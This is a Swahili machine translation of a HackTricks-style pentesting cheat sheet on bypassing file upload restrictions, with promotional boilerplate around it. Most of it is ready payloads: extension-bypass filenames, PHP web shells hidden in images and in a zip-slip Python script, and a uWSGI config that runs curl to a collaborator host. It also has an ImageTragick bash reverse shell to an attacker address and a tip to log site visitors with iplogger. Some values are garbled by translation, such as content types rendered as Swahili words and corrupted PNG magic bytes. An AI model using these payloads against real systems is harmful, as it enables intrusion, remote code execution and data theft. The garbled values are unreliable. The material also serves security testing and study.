.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
Kupakia Faili
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.
Ikiwa una nia ya kazi ya kuhack na kuhack mambo ambayo hayawezi kuhack - tunakupa kazi! (inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha).
{% embed url="https://www.stmcyber.com/careers" %}
Mbinu Mkuu ya Kupakia Faili
Vifaa vingine muhimu:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Kufanya Kazi katika PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Kupuuza Uchunguzi wa Vifaa vya Faili
- Ikiwa wanatumia, angalia vifaa vya awali. Jaribu pia kuvitumia kwa herufi kubwa: pHp, .pHP5, .PhAr ...
- Angalia kuongeza kifaa halali kabla ya kifaa cha utekelezaji (tumia vifaa vya awali pia):
- faili.png.php
- faili.png.Php5
- Jaribu kuongeza herufi maalum mwishoni. Unaweza kutumia Burp kufanya bruteforce kwa herufi zote za ascii na Unicode. (Tambua kwamba unaweza pia kujaribu kutumia vifaa vilivyotajwa awali)
- faili.php%20
- faili.php%0a
- faili.php%00
- faili.php%0d%0a
- faili.php/
- faili.php.\
- faili.
- faili.php....
- faili.pHp5....
- Jaribu kupuuza ulinzi kwa kudanganya mpangilio wa vifaa wa seva upande wa serveri kwa mbinu kama kuongeza maradufu kwa kifaa au kuongeza data taka (herufi za null) kati ya vifaa. Unaweza pia kutumia vifaa vilivyotajwa awali kuandaa mzigo bora.
- faili.png.php
- faili.png.pHp5
- faili.php#.png
- faili.php%00.png
- faili.php\x00.png
- faili.php%0a.png
- faili.php%0d%0a.png
- faili.phpJunk123png
- Ongeza safu nyingine ya vifaa kwa uchunguzi wa awali:
- faili.png.jpg.php
- faili.php%00.png%00.jpg
- Jaribu kuweka kifaa cha utekelezaji kabla ya kifaa halali na omba ili serveri iwe imepangwa vibaya. (inayoweza kutumika kudanganya misconfigurations ya Apache ambapo chochote chenye kifaa cha utekelezaji .php,** lakini** sio lazima kumalizika kwa .php** itatekeleza kanuni):
- kwa mfano: faili.php.png
- Kutumia NTFS alternate data stream (ADS) kwenye Windows. Katika kesi hii, herufi ya mkato “:” itawekwa baada ya kifaa kilichozuiliwa na kabla ya kifaa kilichoruhusiwa. Kama matokeo, faili tupu yenye kifaa kilichozuiliwa itaundwa kwenye serveri (k.m. “faili.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu zingine kama kutumia jina lake fupi. Mfano wa “::$data” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya mshale baada ya mfano huu inaweza pia kuwa na manufaa kwa kupuuza vizuizi zaidi (.e.g. “faili.asp::$data.”)
- Jaribu kuvunja mipaka ya jina la faili. Kifaa halali kinakatwa. Na PHP yenye nia mbaya inabaki. AAA<--SNIP-->AAA.php
# Linux kiwango cha juu 255 herufi
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # punguza 4 hapa na ongeza .png
# Pakia faili na angalia jibu ni herufi ngapi inaruhusu. Hebu sema 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Unda mzigo
AAA<--SNIP 232 A-->AAA.php.png
Kupita kwa Aina ya Yaliyomo, Nambari ya Ajabu, Ufupishaji & Kurekebisha Ukubwa
- Pita uchunguzi wa Aina ya Yaliyomo kwa kuweka thamani ya Aina ya Yaliyomo ya kichwa kuwa: picha/png, maandishi/rahisi, maombi/octet-stream
- Orodha ya maneno ya Aina ya Yaliyomo: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- Pita uchunguzi wa nambari ya ajabu kwa kuongeza mwanzoni mwa faili bayti za picha halisi (kuchanganya amri ya file). Au weka kabati ndani ya metadata:
exiftool -Comment="<?php echo 'Amri:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
au unaweza pia kuweka mzigo moja kwa moja katika picha:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Ikiwa ufupishaji unawekwa kwenye picha yako, kwa mfano kutumia maktaba za PHP kama PHP-GD, mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia kikundi cha PLTE mbinu iliyoelezwa hapa kuingiza maandishi ambayo yata kupita kufupishwa.
- Github na nambari
- Ukurasa wa wavuti unaweza pia kuwa unafanya urekebishaji wa picha, kwa kutumia kwa mfano PHP-GD kazi za
imagecopyresized
auimagecopyresampled
. Hata hivyo, unaweza kutumia kikundi cha IDAT mtego uliofafanuliwa hapa kuingiza maandishi ambayo yata kupita kufupishwa. - Github na nambari
- Mbinu nyingine ya kufanya mzigo ambao utapita urekebishaji wa picha, kutumia kazi ya PHP-GD
thumbnailImage
. Hata hivyo, unaweza kutumia kikundi cha tEXt mtego uliofafanuliwa hapa kuingiza maandishi ambayo yata kupita kufupishwa. - Github na nambari
Mbinu Nyingine za Kuchunguza
- Tafuta udhaifu wa kubadilisha jina la faili tayari iliyopakiwa (kubadilisha kificho).
- Tafuta udhaifu wa Ujumuishaji wa Faili za Lokali ili kutekeleza mlango wa nyuma.
- Ufunuo wa Taarifa Inayowezekana:
- Pakia mara kadhaa (na wakati huo huo) faili ile ile na jina moja
- Pakia faili na jina la faili au folda ambayo tayari ipo
- Pakia faili na “.”, “..”, au “…” kama jina lake. Kwa mfano, katika Apache kwenye Windows, ikiwa programu inahifadhi faili zilizopakiwa katika saraka ya “/www/uploads/”, jina la faili “.” litasababisha faili iitwayo “uploads” katika saraka ya “/www/”.
- Pakia faili ambayo huenda isifutwe kwa urahisi kama “…:.jpg” katika NTFS. (Windows)
- Pakia faili katika Windows yenye herufi zisizofaa kama
|<>*?”
katika jina lake. (Windows) - Pakia faili katika Windows kutumia majina yaliyohifadhiwa (yaliyokatazwa) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
- Jaribu pia kupakia faili inayoweza kutekelezwa (.exe) au .html (isiyo ya shaka) ambayo itaendesha kificho kwa bahati mbaya ikifunguliwa na muathiriwa.
Mbinu Maalum za Vifaa
Ikiwa unajaribu kupakia faili kwenye seva ya PHP, angalia mtego wa .htaccess kutekeleza kificho.
Ikiwa unajaribu kupakia faili kwenye seva ya ASP, angalia mtego wa .config kutekeleza kificho.
Faili za .phar
ni kama .jar
kwa java, lakini kwa php, na zinaweza kutumika kama faili ya php (kuiendesha na php, au kuiongeza ndani ya skripti...)
Upanuzi wa .inc
mara nyingi hutumiwa kwa faili za php ambazo hutumiwa tu kuagiza faili, hivyo, kwa wakati fulani, mtu anaweza kuruhusu upanuzi huu kutekelezwa.
Jetty RCE
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata RCE kwa sababu faili mpya za *.xml na *.war zinashughulikiwa moja kwa moja. Kwa hivyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwa $JETTY_BASE/webapps/
na tumaini kupata kabati!
uWSGI RCE
Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa awali: uWSGI RCE Exploitation.
Udhaifu wa Utekelezaji wa Amri kwa Mbali (RCE) unaweza kutumiwa kwenye seva za uWSGI ikiwa mtu ana uwezo wa kurekebisha faili ya usanidi ya .ini
. Faili za usanidi wa uWSGI hutumia sintaksia maalum kuingiza "vibambo" vya kichawi, nafasi tupu, na waendeshaji. Hasa, waendeshaji wa '@', kutumika kama @(jina la faili)
, umepangwa kuingiza maudhui ya faili. Kati ya mifumo mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni hasa wenye nguvu, kuruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumiwa kwa madhumuni mabaya kama Utekelezaji wa Amri kwa Mbali au Kuandika/Soma Faili za Kiholela wakati faili ya usanidi ya .ini
inapoproseswa.
Zingatia mfano ufuatao wa faili hatari ya uwsgi.ini
, ikionyesha mifumo mbalimbali:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Utekelezaji wa mzigo unatokea wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya kushindwa au kutokana na shambulio la Kukataa Huduma) au faili lazima iwekwe kwa ajili ya kujalidiwa moja kwa moja. Kipengele cha kujalidiwa moja kwa moja, ikiwa kimeanzishwa, kinajalidiwa faili kwa vipindi vilivyowekwa baada ya kugundua mabadiliko.
Ni muhimu kuelewa asili ya kulegea ya uchambuzi wa faili ya usanidi wa uWSGI. Hasa, mzigo uliojadiliwa unaweza kuingizwa katika faili ya binary (kama picha au PDF), ikiongeza wigo wa unyanyasaji wa uwezekano.
Mbinu ya Kutuma Faili/Trick ya SSRF ya wget
Katika baadhi ya matukio unaweza kugundua kuwa seva inatumia wget
kwa kupakua faili na unaweza kuashiria URL. Katika visa hivi, nambari inaweza kuwa inachunguza kwamba kipekee cha faili zilizopakuliwa kipo ndani ya orodha nyeupe ili kuhakikisha kuwa faili zinazoruhusiwa tu ndizo zitakazopakuliwa. Hata hivyo, uchunguzi huu unaweza kupuuzwa.
Urefu maksimumu wa jina la faili katika linux ni 255, hata hivyo, wget hukata majina ya faili hadi wahusika 236. Unaweza kupakua faili iitwayo "A"*232+".php"+".gif", jina hili la faili litapita uchunguzi (kama katika mfano huu ".gif" ni kielezo sahihi) lakini wget
ita badilisha jina la faili kuwa "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Tafadhali elewa kwamba chaguo lingine unaloweza kufikiria kwa kudanganya ukaguzi huu ni kufanya seva ya HTTP ielekeze kwa faili tofauti, hivyo URL ya awali itadanganya ukaguzi kisha wget itadownload faili iliyeelekezwa na jina jipya. Hii haitafanya kazi isipokuwa wget inatumika na parameter --trust-server-names
kwa sababu wget itadownload ukurasa ulioelekezwa kwa jina la faili iliyotajwa kwenye URL ya awali.
Vifaa
- Upload Bypass ni chombo imara kilichoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia njia mbalimbali za tuzo za mdudu kusahilisha mchakato wa kutambua na kutumia udhaifu, ikisimamia tathmini kamili ya maombi ya wavuti.
Kutoka kwa kupakia faili hadi udhaifu mwingine
- Weka jina la faili kuwa
../../../tmp/lol.png
na jaribu kufikia kuvuka njia - Weka jina la faili kuwa
sleep(10)-- -.jpg
na unaweza kufanikiwa SQL injection - Weka jina la faili kuwa
<svg onload=alert(document.domain)>
ili kufikia XSS - Weka jina la faili kuwa
; sleep 10;
kujaribu baadhi ya kuingiza amri (zaidi mbinu za kuingiza amri hapa) - XSS katika kupakia faili ya picha (svg)
- Kupakia faili ya JS + XSS = Udanganyifu wa Wafanyikazi wa Huduma
- XXE katika kupakia svg
- Uelekezaji Wazi kupitia kupakia faili ya svg
- Jaribu mizigo tofauti ya svg kutoka https://github.com/allanlw/svg-cheatsheet****
- Udhaifu maarufu wa ImageTrick
- Ikiwa unaweza kuashiria seva ya wavuti kuchukua picha kutoka kwa URL unaweza kujaribu kutumia SSRF. Ikiwa picha hii itakuwa imehifadhiwa kwenye tovuti fulani ya umma, unaweza pia kuashiria URL kutoka https://iplogger.org/invisible/ na kuiba habari ya kila mtembeleaji.
- XXE na CORS kudanganya na kupakia PDF-Adobe
- PDF zilizoundwa kwa ustadi kwa XSS: Ukurasa ufuatao unaonyesha jinsi ya kuingiza data ya PDF ili kupata utekelezaji wa JS](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDF unaweza kuandaa PDF kadhaa ambazo zitatekeleza JS arbitrali kufuata maelekezo yaliyotolewa.
- Pakia yaliyomo ya [eicar](https://secure.eicar.org/eicar.com.txt) kuchunguza ikiwa seva ina antivirus yoyote
- Angalia ikiwa kuna kikomo cha ukubwa wakati wa kupakia faili
Hapa kuna orodha ya juu 10 ya vitu unavyoweza kufikia kwa kupakia (kutoka hapa):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Uelekezaji wazi
- PNG / JPEG: Mashambulizi ya mafuriko ya pikseli (DoS)
- ZIP: RCE kupitia LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Kifaa cha Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
Vichwa vya Kichwa vya Ajaabu
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Rejea https://en.wikipedia.org/wiki/List_of_file_signatures kwa aina nyingine za faili.
Kupakia Faili ya Zip/Tar Kiotomatiki kwa Kudekompresiwa
Ikiwa unaweza kupakia ZIP ambayo itadecompress ndani ya seva, unaweza kufanya mambo 2:
Kiungo cha Simulizi
Pakia kiungo kinachojumuisha viungo vya laini kwa faili zingine, kisha, kufikia faili zilizodekompresiwa utafikia faili zilizounganishwa:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Kufungua katika folda tofauti
Uumbaji usiotarajiwa wa faili katika saraka wakati wa kufungua ni suala kubwa. Licha ya dhana za awali kwamba usanidi huu unaweza kulinda dhidi ya utekelezaji wa amri kwenye OS kupitia kupakia faili zenye nia mbaya, msaada wa ujazo wa hiraki na uwezo wa kuvuka saraka wa muundo wa faili za ZIP unaweza kutumiwa vibaya. Hii inaruhusu wachomaji kukiuka vizuizi na kutoroka kutoka kwa saraka salama za kupakia kwa kubadilisha utendaji wa kufungua wa programu iliyolengwa.
Exploit iliyotomatishwa ya kutengeneza faili kama hizo inapatikana kwenye evilarc kwenye GitHub. Zana hiyo inaweza kutumika kama inavyoonyeshwa:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Zaidi ya hayo, mzaha wa symlink na evilarc ni chaguo. Ikiwa lengo ni kulenga faili kama vile /flag.txt
, symlink kwa faili hiyo inapaswa kuundwa kwenye mfumo wako. Hii inahakikisha kwamba evilarc haina kukutana na makosa wakati wa operesheni yake.
Hapa chini ni mfano wa nambari ya Python inayotumiwa kuunda faili ya zip yenye nia mbaya:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Kutumia ujazo kwa kusambaza faili
Kwa maelezo zaidi angalia chapisho la asili katika: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Kujenga Shell ya PHP: Msimbo wa PHP unaoandikwa kutekeleza amri zilizopitishwa kupitia kipengele cha
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- Kusambaza Faili na Uundaji wa Faili iliyosambazwa: Faili nyingi hujengwa na kumbukumbu ya zip inakusanywa inayojumuisha faili hizi.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Ubadilishaji na Mhariri wa Hex au vi: Majina ya faili ndani ya zip hubadilishwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" kwa kuvuka saraka.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Pakia yaliyomo haya na kifaa cha picha ili kutumia udhaifu (ImageMagick, 7.0.1-1) (kutoka kwa exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Kuingiza PHP Shell kwenye PNG
Kuingiza PHP shell katika kipande cha IDAT cha faili ya PNG inaweza kufanya kazi ya kuepuka baadhi ya operesheni za usindikaji wa picha. Vipengele imagecopyresized
na imagecopyresampled
kutoka PHP-GD ni muhimu sana katika muktadha huu, kwani mara nyingi hutumika kwa kurekebisha na kurejeuza upya picha. Uwezo wa PHP shell iliyokita ndani kubaki bila kuharibiwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Utafiti wa kina wa mbinu hii, ikiwa ni pamoja na mbinu yake na matumizi yanayowezekana, unapatikana katika makala ifuatayo: "Encoding Web Shells in PNG IDAT chunks". Rasilimali hii inatoa uelewa kamili wa mchakato na matokeo yake.
Maelezo zaidi katika: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Faili za Polyglot
Faili za polyglot ni zana ya kipekee katika usalama wa mtandao, zikifanya kazi kama kinyonga ambazo zinaweza kuwepo kihalali katika muundo wa faili zaidi ya moja kwa wakati mmoja. Mfano wa kuvutia ni GIFAR, ambayo ni mchanganyiko wa GIF na kumbukumbu ya RAR. Faili kama hizi hazipatikani tu katika mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia ni wa kufikirika.
Umuhimu wa msingi wa faili za polyglot ni uwezo wao wa kuzunguka hatua za usalama ambazo huchuja faili kulingana na aina. Mazoea ya kawaida katika programu mbalimbali ni kuruhusu aina fulani tu za faili kwa kupakia - kama JPEG, GIF, au DOC - ili kupunguza hatari inayosababishwa na muundo wa faili zenye madhara (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kufuata vigezo vya muundo wa aina mbalimbali za faili, inaweza kwa siri kuzunguka vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwakilisha wakati mmoja faili ya PHAR (PHp ARchive) na JPEG, mafanikio ya kupakia kwake yanaweza kutegemea sera za nyongeza za faili za jukwaa. Ikiwa mfumo unazingatia vikwazo vya nyongeza zinazoruhusiwa, uhalisia wa kimuundo wa polyglot pekee huenda usitoshe kuhakikisha kupakia kwake.
Maelezo zaidi katika: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Marejeo
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Ikiwa una nia katika kazi ya udukuzi na kudukua mambo yasiyoweza kudukuliwa - tunatoa ajira! (uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika).
{% embed url="https://www.stmcyber.com/careers" %}
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJISAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.